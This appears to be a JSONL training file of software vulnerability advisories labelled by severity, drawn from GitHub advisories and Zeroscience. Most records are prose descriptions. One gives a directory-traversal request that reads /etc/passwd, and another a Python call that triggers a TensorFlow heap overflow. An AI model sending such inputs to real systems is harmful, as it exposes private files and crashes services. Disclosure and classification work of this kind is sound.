-{"id": "5b74cb06bb206c6cdd4e", "text": "Command Injection in gitlabhook\n\nAll versions of `gitlabhook` are vulnerable to Command Injection. The package does not validate input the body of POST request and concatenates it to an exec call, allowing attackers to run arbitrary commands in the system.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Command Injection in gitlabhook\n\n[Severity: CRITICAL]\n\nAll versions of `gitlabhook` are vulnerable to Command Injection. The package does not validate input the body of POST request and concatenates it to an exec call, allowing attackers to run arbitrary commands in the system.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-09-16", "split": "train"}
-{"id": "5aaaba755ea8f9e617b4", "text": "SiNG cms 2.9.0 (email) Remote XSS POST Injection Vulnerability", "text_raw": "SiNG cms 2.9.0 (email) Remote XSS POST Injection Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-08-23", "split": "train"}
-{"id": "525d8b8eadb8c15cafda", "text": "Double-free in id-map\n\nA double free can occur in get_or_insert upon a panic of a user-provided f function. get_or_insert reserves space for a value, before calling the user provided insertion function f. If the function f panics then uninitialized or previously freed memory can be dropped.", "text_raw": "Double-free in id-map\n\n[Severity: CRITICAL]\n\nA double free can occur in get_or_insert upon a panic of a user-provided f function. get_or_insert reserves space for a value, before calling the user provided insertion function f. If the function f panics then uninitialized or previously freed memory can be dropped.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "170bafc540c89085d0af", "text": "Cross-site scripting vulnerability in file upload\n\nThere is a cross-site scripting vulnerability in file upload on the management system of baserCMS.\n\nThis is a vulnerability that needs to be addressed when the management system is used by an unspecified number of users.\nIf you are eligible, please update to the new version as soon as possible.\n\n### Target\nbaserCMS 4.5.1 and earlier versions\n\n### Vulnerability\nExecution of malicious JavaScript code may alter the display of the page or leak cookie information.\n\n### Countermeasures\nUpdate to the latest version of baserCMS\n\nPlease refer to the next page for details.\nhttps://basercms.net/security/JVN_14134801", "text_raw": "Cross-site scripting vulnerability in file upload\n\n[Severity: HIGH]\n\nThere is a cross-site scripting vulnerability in file upload on the management system of baserCMS.\n\nThis is a vulnerability that needs to be addressed when the management system is used by an unspecified number of users.\nIf you are eligible, please update to the new version as soon as possible.\n\n### Target\nbaserCMS 4.5.1 and earlier versions\n\n### Vulnerability\nExecution of malicious JavaScript code may alter the display of the page or leak cookie information.\n\n### Countermeasures\nUpdate to the latest version of baserCMS\n\nPlease refer to the next page for details.\nhttps://basercms.net/security/JVN_14134801", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "71cb8c1434f7f8f74fe7", "text": "FLIR Systems FLIR Thermal Camera F/FC/PT/D Multiple Information Disclosures", "text_raw": "FLIR Systems FLIR Thermal Camera F/FC/PT/D Multiple Information Disclosures\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2017-09-25", "split": "train"}
-{"id": "47e0d0ccd1466a199338", "text": "Regular Expression Denial of Service in decamelize\n\nAffected versions of `decamelize` are susceptible to a denial of service vulnerability when user input is passed directly into `decamelize`.\n\n## Recommendation\n\nUpdate to version 1.1.2 or later.", "text_raw": "Regular Expression Denial of Service in decamelize\n\n[Severity: HIGH]\n\nAffected versions of `decamelize` are susceptible to a denial of service vulnerability when user input is passed directly into `decamelize`.\n\n\n\n\n## Recommendation\n\nUpdate to version 1.1.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "b4d3c58dc8d37b5f0e3f", "text": "Cart Engine 3.0.0 Database Backup Disclosure Exploit", "text_raw": "Cart Engine 3.0.0 Database Backup Disclosure Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2014-03-25", "split": "train"}
-{"id": "51b359d379e39b71b705", "text": "XSS in Mautic\n\n### Impact\nThis is a cross-site scripting vulnerability relating to creating/editing a company which requires the user to be logged in as an administrator to be executed.\n\nThis vulnerability was reported by Dardan Prebreza at Bishop Fox.\n\n### Patches\nUpgrade to 3.2.4 or 2.16.5.\n\nLink to patch for 2.x versions: https://github.com/mautic/mautic/compare/2.16.4...2.16.5.diff\n\nLink to patch for 3.x versions: https://github.com/mautic/mautic/compare/3.2.2...3.2.4.diff\n\n### Workarounds\nNone\n\n### References\nhttps://www.mautic.org/blog/community/security-release-all-versions-mautic-prior-2-16-5-and-3-2-4\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Post in https://forum.mautic.org/c/support\n* Email us at security@mautic.org", "text_raw": "XSS in Mautic\n\n[Severity: HIGH]\n\n### Impact\nThis is a cross-site scripting vulnerability relating to creating/editing a company which requires the user to be logged in as an administrator to be executed.\n\nThis vulnerability was reported by Dardan Prebreza at Bishop Fox.\n\n### Patches\nUpgrade to 3.2.4 or 2.16.5.\n\nLink to patch for 2.x versions: https://github.com/mautic/mautic/compare/2.16.4...2.16.5.diff\n\nLink to patch for 3.x versions: https://github.com/mautic/mautic/compare/3.2.2...3.2.4.diff\n\n### Workarounds\nNone\n\n### References\nhttps://www.mautic.org/blog/community/security-release-all-versions-mautic-prior-2-16-5-and-3-2-4\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Post in https://forum.mautic.org/c/support\n* Email us at security@mautic.org", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-01-29", "split": "train"}
-{"id": "cb9eda74ed13266dc368", "text": "Improper Input Validation in Apache Airflow resulting in Remote Code Execution\n\nIn Apache Airflow 1.8.2 and earlier, an authenticated user can execute code remotely on the Airflow webserver by creating a special object.", "text_raw": "Improper Input Validation in Apache Airflow resulting in Remote Code Execution\n\n[Severity: HIGH]\n\nIn Apache Airflow 1.8.2 and earlier, an authenticated user can execute code remotely on the Airflow webserver by creating a special object.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-01-25", "split": "train"}
-{"id": "4b4d55b4ee95fe818006", "text": "Duplicate Advisory: k8s.io/kube-state-metrics Exposure of Sensitive Information\n\n# Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-c92w-72c5-9x59. This link is maintained to preserve external references.\n\n# Original Description\n\nA security issue was discovered in kube-state-metrics 1.7.x before 1.7.2. An experimental feature was added to v1.7.0 and v1.7.1 that enabled annotations to be exposed as metrics. By default, kube-state-metrics metrics only expose metadata about Secrets. However, a combination of the default kubectl behavior and this new feature can cause the entire secret content to end up in metric labels, thus inadvertently exposing the secret content in metrics.", "text_raw": "Duplicate Advisory: k8s.io/kube-state-metrics Exposure of Sensitive Information\n\n[Severity: MEDIUM]\n\n# Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-c92w-72c5-9x59. This link is maintained to preserve external references.\n\n# Original Description\n\nA security issue was discovered in kube-state-metrics 1.7.x before 1.7.2. An experimental feature was added to v1.7.0 and v1.7.1 that enabled annotations to be exposed as metrics. By default, kube-state-metrics metrics only expose metadata about Secrets. However, a combination of the default kubectl behavior and this new feature can cause the entire secret content to end up in metric labels, thus inadvertently exposing the secret content in metrics.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "70051fe73422b572365b", "text": "Insecure temporary directory usage in frontend build functionality of Vaadin 14 and 15-19\n\nInsecure temporary directory usage in frontend build functionality of `com.vaadin:flow-server` versions 2.0.9 through 2.5.2 (Vaadin 14.0.3 through Vaadin 14.5.2), 3.0 prior to 6.0 (Vaadin 15 prior to 19), and 6.0.0 through 6.0.5 (Vaadin 19.0.0 through 19.0.4) allows local users to inject malicious code into frontend resources during application rebuilds.\n\n- https://vaadin.com/security/cve-2021-31411", "text_raw": "Insecure temporary directory usage in frontend build functionality of Vaadin 14 and 15-19\n\n[Severity: HIGH]\n\nInsecure temporary directory usage in frontend build functionality of `com.vaadin:flow-server` versions 2.0.9 through 2.5.2 (Vaadin 14.0.3 through Vaadin 14.5.2), 3.0 prior to 6.0 (Vaadin 15 prior to 19), and 6.0.0 through 6.0.5 (Vaadin 19.0.0 through 19.0.4) allows local users to inject malicious code into frontend resources during application rebuilds.\n\n- https://vaadin.com/security/cve-2021-31411", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "129fe340465950b25352", "text": "Command Injection in Xstream\n\nXstream API versions up to 1.4.6 and version 1.4.10, if the security framework has not been initialized, may allow a remote attacker to run arbitrary shell commands by manipulating the processed input stream when unmarshaling XML or any supported format. e.g. JSON.", "text_raw": "Command Injection in Xstream\n\n[Severity: CRITICAL]\n\nXstream API versions up to 1.4.6 and version 1.4.10, if the security framework has not been initialized, may allow a remote attacker to run arbitrary shell commands by manipulating the processed input stream when unmarshaling XML or any supported format. e.g. JSON.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-05-29", "split": "train"}
-{"id": "70eddd85e94c6b1a3f0c", "text": "Directory Traversal in cuciuci\n\nAffected versions of `cuciuci` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in cuciuci\n\n[Severity: HIGH]\n\nAffected versions of `cuciuci` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "19402c8f2a6f2677e40f", "text": "System.Management.Automation subject to bypass via script debugging\n\n## Microsoft Security Advisory CVE-2019-1167: Windows Defender Application Control Security Feature Bypass Vulnerability\n\n# Microsoft Security Advisory CVE-2019-1167: Windows Defender Application Control Security Feature Bypass Vulnerability\n\n## Executive Summary\n\nA security feature bypass vulnerability exists in Windows Defender Application Control (WDAC) which could allow an attacker to bypass WDAC enforcement.\nAn attacker who successfully exploited this vulnerability could circumvent PowerShell Core Constrained Language Mode on the machine.\n\nTo exploit the vulnerability,\nan attacker would first have access to the local machine where PowerShell is running in Constrained Language mode.\nBy doing that an attacker could leverage script debugging to abuse signed modules in an unintended way.\n\nThe update addresses the vulnerability by correcting how PowerShell functions in Constrained Language Mode.\nSystem administrators are advised to update PowerShell Core to an unaffected version (see [affected software](#user-content-affected-software).)\n\n## Discussion\n\nPlease use PowerShell/PowerShell#TBD for discussion of this advisory.\n\n## <a name=\"affected-software\">Affected Software</a>\n\nThe vulnerability affects PowerShell Core prior to the following versions:\n\n| PowerShell Core Version | Fixed in          |\n|-------------------------|-------------------|\n| 6.1                     | 6.1.5               |\n| 6.2                     | 6.2.2               |\n\n## Advisory FAQ\n\n### How do I know if I am affected?\n\nIf all of the following are true:\n\n1. Run `pwsh -v`, then, check the version in the table in [Affected Software](#user-content-affected-software) to see if your version of PowerShell Core is affected.\n1. If you are running a version of PowerShell Core where the executable is not `pwsh` or `pwsh.exe`, then you are affected.  This only existed for preview version of `6.0`.\n\n### How do I update to an unaffected version?\n\nFollow the instructions at [Installing PowerShell Core](https://docs.microsoft.com/en-us/powershell/scripting/setup/installing-powershell?view=powershell-6) to install the latest version of PowerShell Core.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in PowerShell Core,\nplease email details to secure@microsoft.com.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the PowerShell organization.\nThis is located at https://github.com/PowerShell/.\nThe Announcements repo (https://github.com/PowerShell/Announcements)\nwill contain this bulletin as an issue and will include a link to a discussion issue where you can ask questions.\n\n### What if the update breaks my script or module?\n\nYou can uninstall the newer version of PowerShell Core and install the previous version of PowerShell Core.\nThis should be treated as a temporary measure.\nTherefore, the script or module should be updated to work with the patched version of PowerShell Core.\n\n### Acknowledgments\n\nMicrosoft recognizes the efforts of those in the security community who help us protect customers through coordinated vulnerability disclosure.\n\nSee [acknowledgments](https://portal.msrc.microsoft.com/en-us/security-guidance/acknowledgments) for more information.\n\n### External Links\n\n[CVE-2019-1167](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1167)\n\n### Revisions\n\nV1.0 (July 16, 2019): Advisory published.\n\n*Version 1.0*\n*Last Updated 2019-07-16*", "text_raw": "System.Management.Automation subject to bypass via script debugging\n\n[Severity: MEDIUM]\n\n## Microsoft Security Advisory CVE-2019-1167: Windows Defender Application Control Security Feature Bypass Vulnerability\n\n# Microsoft Security Advisory CVE-2019-1167: Windows Defender Application Control Security Feature Bypass Vulnerability\n\n## Executive Summary\n\nA security feature bypass vulnerability exists in Windows Defender Application Control (WDAC) which could allow an attacker to bypass WDAC enforcement.\nAn attacker who successfully exploited this vulnerability could circumvent PowerShell Core Constrained Language Mode on the machine.\n\n To exploit the vulnerability,\nan attacker would first have access to the local machine where PowerShell is running in Constrained Language mode.\nBy doing that an attacker could leverage script debugging to abuse signed modules in an unintended way.\n\nThe update addresses the vulnerability by correcting how PowerShell functions in Constrained Language Mode.\nSystem administrators are advised to update PowerShell Core to an unaffected version (see [affected software](#user-content-affected-software).)\n\n## Discussion\n\nPlease use PowerShell/PowerShell#TBD for discussion of this advisory.\n\n## <a name=\"affected-software\">Affected Software</a>\n\nThe vulnerability affects PowerShell Core prior to the following versions:\n\n| PowerShell Core Version | Fixed in          |\n|-------------------------|-------------------|\n| 6.1                     | 6.1.5               |\n| 6.2                     | 6.2.2               |\n\n## Advisory FAQ\n\n### How do I know if I am affected?\n\nIf all of the following are true:\n\n1. Run `pwsh -v`, then, check the version in the table in [Affected Software](#user-content-affected-software) to see if your version of PowerShell Core is affected.\n1. If you are running a version of PowerShell Core where the executable is not `pwsh` or `pwsh.exe`, then you are affected.  This only existed for preview version of `6.0`.\n\n### How do I update to an unaffected version?\n\nFollow the instructions at [Installing PowerShell Core](https://docs.microsoft.com/en-us/powershell/scripting/setup/installing-powershell?view=powershell-6) to install the latest version of PowerShell Core.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in PowerShell Core,\nplease email details to secure@microsoft.com.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the PowerShell organization.\nThis is located at https://github.com/PowerShell/.\nThe Announcements repo (https://github.com/PowerShell/Announcements)\nwill contain this bulletin as an issue and will include a link to a discussion issue where you can ask questions.\n\n### What if the update breaks my script or module?\n\nYou can uninstall the newer version of PowerShell Core and install the previous version of PowerShell Core.\nThis should be treated as a temporary measure.\nTherefore, the script or module should be updated to work with the patched version of PowerShell Core.\n\n### Acknowledgments\n\nMicrosoft recognizes the efforts of those in the security community who help us protect customers through coordinated vulnerability disclosure.\n\nSee [acknowledgments](https://portal.msrc.microsoft.com/en-us/security-guidance/acknowledgments) for more information.\n\n### External Links\n\n[CVE-2019-1167](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1167)\n\n### Revisions\n\nV1.0 (July 16, 2019): Advisory published.\n\n*Version 1.0*\n*Last Updated 2019-07-16*", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-07-17", "split": "train"}
-{"id": "153fca2c359c7858819b", "text": "u5CMS 3.9.3 Multiple SQL Injection Vulnerabilities", "text_raw": "u5CMS 3.9.3 Multiple SQL Injection Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-02-09", "split": "train"}
-{"id": "f4e60b70f8a5db2056da", "text": "Prototype pollution in object-path\n\n### Impact\nA prototype pollution vulnerability has been found in `object-path` <= 0.11.4 affecting the `set()` method. The vulnerability is limited to the `includeInheritedProps` mode (if version >= 0.11.0 is used), which has to be explicitly enabled by creating a new instance of `object-path` and setting the option `includeInheritedProps: true`, or by using the default `withInheritedProps` instance. The default operating mode is not affected by the vulnerability if version >= 0.11.0 is used. Any usage of `set()` in versions < 0.11.0 is vulnerable.\n\n### Patches\nUpgrade to version >= 0.11.5\n\n### Workarounds\nDon't use the `includeInheritedProps: true` options or the `withInheritedProps` instance if using a version >= 0.11.0.\n\n### References\n[Read more about the prototype pollution vulnerability](https://codeburst.io/what-is-prototype-pollution-49482fc4b638)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [object-path](https://github.com/mariocasciaro/object-path)", "text_raw": "Prototype pollution in object-path\n\n[Severity: HIGH]\n\n### Impact\nA prototype pollution vulnerability has been found in `object-path` <= 0.11.4 affecting the `set()` method. The vulnerability is limited to the `includeInheritedProps` mode (if version >= 0.11.0 is used), which has to be explicitly enabled by creating a new instance of `object-path` and setting the option `includeInheritedProps: true`, or by using the default `withInheritedProps` instance. The default operating mode is not affected by the vulnerability if version >= 0.11.0 is used. Any usage of `set()` in versions < 0.11.0 is vulnerable.\n \n### Patches\nUpgrade to version >= 0.11.5\n\n### Workarounds\nDon't use the `includeInheritedProps: true` options or the `withInheritedProps` instance if using a version >= 0.11.0.\n\n### References\n[Read more about the prototype pollution vulnerability](https://codeburst.io/what-is-prototype-pollution-49482fc4b638)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [object-path](https://github.com/mariocasciaro/object-path)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-10-19", "split": "train"}
-{"id": "f622024289d139250575", "text": "Microsoft.ChakraCore vulnerable to Exposure of Sensitive Information to an Unauthorized Actor\n\nAn information disclosure vulnerability exists when the scripting engine does not properly handle objects in memory in Microsoft Edge, aka 'Scripting Engine Information Disclosure Vulnerability'.", "text_raw": "Microsoft.ChakraCore vulnerable to Exposure of Sensitive Information to an Unauthorized Actor \n\n[Severity: MEDIUM]\n\nAn information disclosure vulnerability exists when the scripting engine does not properly handle objects in memory in Microsoft Edge, aka 'Scripting Engine Information Disclosure Vulnerability'.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-04-09", "split": "train"}
-{"id": "d6cab805dbc0af40ca1e", "text": "Malicious Package in sj-tw-test-security\n\nAll versions of `sj-tw-test-security` contain malicious code. The package downloads and runs a script that opens a reverse shell in the system.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in sj-tw-test-security\n\n[Severity: CRITICAL]\n\nAll versions of `sj-tw-test-security` contain malicious code. The package downloads and runs a script that opens a reverse shell in the system.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "98996e9a676649b1807f", "text": "Py-EVM is vulnerable to arbitrary bytecode injection\n\nPy-EVM v0.2.0-alpha.33 allows attackers to make a vm.execute_bytecode call that triggers computation._stack.values with '\"stack\": [100, 100, 0]' where b'\\x' was expected, resulting in an execution failure because of an invalid opcode. This is reportedly related to \"smart contracts can be executed indefinitely without gas being paid.\"", "text_raw": "Py-EVM is vulnerable to arbitrary bytecode injection\n\n[Severity: HIGH]\n\nPy-EVM v0.2.0-alpha.33 allows attackers to make a vm.execute_bytecode call that triggers computation._stack.values with '\"stack\": [100, 100, 0]' where b'\\x' was expected, resulting in an execution failure because of an invalid opcode. This is reportedly related to \"smart contracts can be executed indefinitely without gas being paid.\"", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-21", "split": "train"}
-{"id": "d395ce69b037a4df5b98", "text": "Epic Games Rocket League 1.95 (AK::MemoryMgr::GetPoolName) Stack Buffer Overrun", "text_raw": "Epic Games Rocket League 1.95 (AK::MemoryMgr::GetPoolName) Stack Buffer Overrun\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2021-04-30", "split": "train"}
-{"id": "4cc1b654b588a3fe2c6e", "text": "Out-of-bounds Read in Pillow\n\n`libImaging/FliDecode.c` in Pillow before 6.2.2 has an FLI buffer overflow.", "text_raw": "Out-of-bounds Read in Pillow\n\n[Severity: HIGH]\n\n`libImaging/FliDecode.c` in Pillow before 6.2.2 has an FLI buffer overflow.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-04-01", "split": "train"}
-{"id": "4499254a0ac223af0420", "text": "Jetty vulnerable to exposure of sensitive information due to observable discrepancy\n\nJetty through 9.4.x contains a timing channel attack in `util/security/Password.java`, which allows attackers to obtain access by observing elapsed times before rejection of incorrect passwords.", "text_raw": "Jetty vulnerable to exposure of sensitive information due to observable discrepancy\n\n[Severity: HIGH]\n\nJetty through 9.4.x contains a timing channel attack in `util/security/Password.java`, which allows attackers to obtain access by observing elapsed times before rejection of incorrect passwords.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-19", "split": "train"}
-{"id": "f546d617d68794b52d4e", "text": "actionpack CRLF injection vulnerability\n\nCRLF injection vulnerability in `actionpack/lib/action_controller/response.rb` in Ruby on Rails 2.3.x before 2.3.13 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the Content-Type header.", "text_raw": "actionpack CRLF injection vulnerability\n\n[Severity: MEDIUM]\n\nCRLF injection vulnerability in `actionpack/lib/action_controller/response.rb` in Ruby on Rails 2.3.x before 2.3.13 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the Content-Type header.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "6c22033ec92bfc824e7a", "text": "Denial of Service in org.springframework:spring-core\n\nSpring Framework, versions 5.0.x prior to 5.0.6, versions 4.3.x prior to 4.3.17, and older unsupported versions allows applications to expose STOMP over WebSocket endpoints with a simple, in-memory STOMP broker through the spring-messaging module. A malicious user (or attacker) can craft a message to the broker that can lead to a regular expression, denial of service attack.", "text_raw": "Denial of Service in org.springframework:spring-core\n\n[Severity: MEDIUM]\n\nSpring Framework, versions 5.0.x prior to 5.0.6, versions 4.3.x prior to 4.3.17, and older unsupported versions allows applications to expose STOMP over WebSocket endpoints with a simple, in-memory STOMP broker through the spring-messaging module. A malicious user (or attacker) can craft a message to the broker that can lead to a regular expression, denial of service attack.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "44c5db9bd70b6e7f7dcb", "text": "Path traversal in mozwire\n\nAn issue was discovered in the mozwire crate through 2020-08-18 for Rust. A ../ directory-traversal situation allows overwriting local files that have .conf at the end of the filename.", "text_raw": "Path traversal in mozwire\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the mozwire crate through 2020-08-18 for Rust. A ../ directory-traversal situation allows overwriting local files that have .conf at the end of the filename.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "f5b8880f199be2ab0c65", "text": "Malicious Package in js-qha3\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in js-qha3\n\n[Severity: CRITICAL]\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "cdb60b1c92c12ca4afab", "text": "Stored cross-site scripting in Grid component in Vaadin 7 and 8\n\nMissing variable sanitization in `Grid` component in `com.vaadin:vaadin-server` versions 7.4.0 through 7.7.19 (Vaadin 7.4.0 through 7.7.19), and 8.0.0 through 8.8.4 (Vaadin 8.0.0 through 8.8.4) allows attacker to inject malicious JavaScript via unspecified vector.\n\n- https://vaadin.com/security/cve-2019-25028", "text_raw": "Stored cross-site scripting in Grid component in Vaadin 7 and 8\n\n[Severity: MEDIUM]\n\nMissing variable sanitization in `Grid` component in `com.vaadin:vaadin-server` versions 7.4.0 through 7.7.19 (Vaadin 7.4.0 through 7.7.19), and 8.0.0 through 8.8.4 (Vaadin 8.0.0 through 8.8.4) allows attacker to inject malicious JavaScript via unspecified vector.\n\n- https://vaadin.com/security/cve-2019-25028", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-19", "split": "train"}
-{"id": "87e3573a7dedca90c967", "text": "couponPHP CMS 1.0 Multiple Stored XSS and SQL Injection Vulnerabilities", "text_raw": "couponPHP CMS 1.0 Multiple Stored XSS and SQL Injection Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2014-02-28", "split": "train"}
-{"id": "3e3bd0d9916b86ffb70d", "text": "JMSAppender in Log4j 1.2 is vulnerable to deserialization of untrusted data\n\nJMSAppender in Log4j 1.2 is vulnerable to deserialization of untrusted data when the attacker has write access to the Log4j configuration. The attacker can provide TopicBindingName and TopicConnectionFactoryBindingName configurations causing JMSAppender to perform JNDI requests that result in remote code execution in a similar fashion to CVE-2021-44228. Note this issue only affects Log4j 1.2 when specifically configured to use JMSAppender, which is not the default. Apache Log4j 1.2 reached end of life in August 2015. Users should upgrade to Log4j 2 as it addresses numerous other issues from the previous versions.", "text_raw": "JMSAppender in Log4j 1.2 is vulnerable to deserialization of untrusted data\n\n[Severity: HIGH]\n\nJMSAppender in Log4j 1.2 is vulnerable to deserialization of untrusted data when the attacker has write access to the Log4j configuration. The attacker can provide TopicBindingName and TopicConnectionFactoryBindingName configurations causing JMSAppender to perform JNDI requests that result in remote code execution in a similar fashion to CVE-2021-44228. Note this issue only affects Log4j 1.2 when specifically configured to use JMSAppender, which is not the default. Apache Log4j 1.2 reached end of life in August 2015. Users should upgrade to Log4j 2 as it addresses numerous other issues from the previous versions.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-14", "split": "train"}
-{"id": "cd5503606bf5e2b0299e", "text": "Uncontrolled Resource Consumption in Apache Tika\n\nA carefully crafted or corrupt PSD file can cause excessive memory usage in Apache Tika's PSDParser in versions 1.0-1.23.", "text_raw": "Uncontrolled Resource Consumption in Apache Tika\n\n[Severity: MEDIUM]\n\nA carefully crafted or corrupt PSD file can cause excessive memory usage in Apache Tika's PSDParser in versions 1.0-1.23.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "e34e59d1f5c051c8e7ac", "text": "Heap buffer overflow in `FractionalAvgPoolGrad`\n\n### Impact\nThe implementation for `tf.raw_ops.FractionalAvgPoolGrad` can be tricked into accessing data outside of bounds of heap allocated buffers:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.FractionalAvgPoolGrad(\n  orig_input_tensor_shape=[0,1,2,3],\n  out_backprop = np.array([[[[541],[541]],[[541],[541]]]]),\n  row_pooling_sequence=[0, 0, 0, 0, 0],\n  col_pooling_sequence=[-2, 0, 0, 2, 0],\n  overlapping=True)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/fractional_avg_pool_op.cc#L205) does not validate that the input tensor is non-empty. Thus, code constructs an empty `EigenDoubleMatrixMap` and then accesses this buffer with indices that are outside of the empty area.\n\n### Patches\nWe have patched the issue in GitHub commit [0f931751fb20f565c4e94aa6df58d54a003cdb30](https://github.com/tensorflow/tensorflow/commit/0f931751fb20f565c4e94aa6df58d54a003cdb30).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Heap buffer overflow in `FractionalAvgPoolGrad`\n\n[Severity: HIGH]\n\n### Impact\nThe implementation for `tf.raw_ops.FractionalAvgPoolGrad` can be tricked into accessing data outside of bounds of heap allocated buffers:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.FractionalAvgPoolGrad(\n  orig_input_tensor_shape=[0,1,2,3],\n  out_backprop = np.array([[[[541],[541]],[[541],[541]]]]),\n  row_pooling_sequence=[0, 0, 0, 0, 0],\n  col_pooling_sequence=[-2, 0, 0, 2, 0],\n  overlapping=True)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/fractional_avg_pool_op.cc#L205) does not validate that the input tensor is non-empty. Thus, code constructs an empty `EigenDoubleMatrixMap` and then accesses this buffer with indices that are outside of the empty area.\n\n### Patches\nWe have patched the issue in GitHub commit [0f931751fb20f565c4e94aa6df58d54a003cdb30](https://github.com/tensorflow/tensorflow/commit/0f931751fb20f565c4e94aa6df58d54a003cdb30).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on 